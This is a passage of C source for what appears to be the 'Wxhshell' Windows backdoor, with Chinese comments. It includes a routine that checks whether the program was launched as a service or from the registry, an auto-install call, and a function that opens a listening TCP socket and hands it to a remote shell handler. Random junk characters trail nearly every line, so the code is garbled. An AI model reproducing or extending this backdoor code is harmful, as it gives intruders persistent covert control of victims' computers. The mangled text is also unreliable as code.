DWORD AffinityMask; >NWrT^rk
DWORD BasePriority; `0Y`]kSY+
ULONG UniqueProcessId; B#Cb`b"
ULONG InheritedFromUniqueProcessId; g5X;]%:
} PROCESS_BASIC_INFORMATION; ,U+y)w]ar
0b%"=J2/p.
PROCNTQSIP NtQueryInformationProcess; <R)%K);
j^#4!Ue
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kLa9'c0
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
n4;
T8( \:v
HANDLE hProcess; Atc<xp
PROCESS_BASIC_INFORMATION pbi; x%Ph``XI
36mp+}R#
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n qSjP5
if(NULL == hInst ) return 0; lXH?*
JDcc`&`M
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K.s\xA5`_
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y5nj _xQJL
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *->2$uWP
]X
y2km]
if (!NtQueryInformationProcess) return 0; b&[bfM<
G`H4#@]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >yk@t&j,
if(!hProcess) return 0;
2P3,\L
B:Y"X:Y
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8S*3W3HY
cu{c:z~
CloseHandle(hProcess); Qh*"B
Jbv66)0M
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /-%0y2"7
if(hProcess==NULL) return 0; Cngi5._Lb
8t)5b.PS
HMODULE hMod; KrVP#|9%"
char procName[255]; vmEbk/Vy
unsigned long cbNeeded; in}d(%3h
BwpEIV@b]
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,#n$YT7
$K& #R-
CloseHandle(hProcess); MTI[Mez
i'bviD
if(strstr(procName,"services")) return 1; // 以服务启动 g$X4ZRSel
fkKk/M>1
return 0; // 注册表启动 vs=8x\W
} K=Q<G:+&V
c+dmA(JC
// 主模块 LDX>S*cL
int StartWxhshell(LPSTR lpCmdLine) "~V|p3
{ {&u`d.Lk2p
SOCKET wsl; {H F,F=W
BOOL val=TRUE; nDG41)|
int port=0; AFM Ip^F
struct sockaddr_in door; oGIh:n7 q+
\US'tF)/
if(wscfg.ws_autoins) Install(); 0NB5YQ8_]
b=87k
port=atoi(lpCmdLine); @m`1Vq?O
P3e}G-Oz
if(port<=0) port=wscfg.ws_port; cc0e(\
!tuN_
WSADATA data; QmiS/`AAv
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Aq]*$s2\G
$bo,m2)
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; (Ts#^qC
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =6YffXa_s
door.sin_family = AF_INET; :Vnus
@#r
door.sin_addr.s_addr = inet_addr("127.0.0.1"); v)c[-:"z
door.sin_port = htons(port); fkHCfcU
rCH? R
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (_ TKDx_
closesocket(wsl); 5Sh.4A\
return 1; }L|cg2y
} c}u`L6!I3
IKs2.sj"o
if(listen(wsl,2) == INVALID_SOCKET) { e0e3b]
closesocket(wsl); ?S2!'L
return 1; uP.[,V0@^
} $`'%1;y@
Wxhshell(wsl); K0 6 E:
WSACleanup(); 4*9WxhJ ]0
p=jIDM'
return 0; \L5h&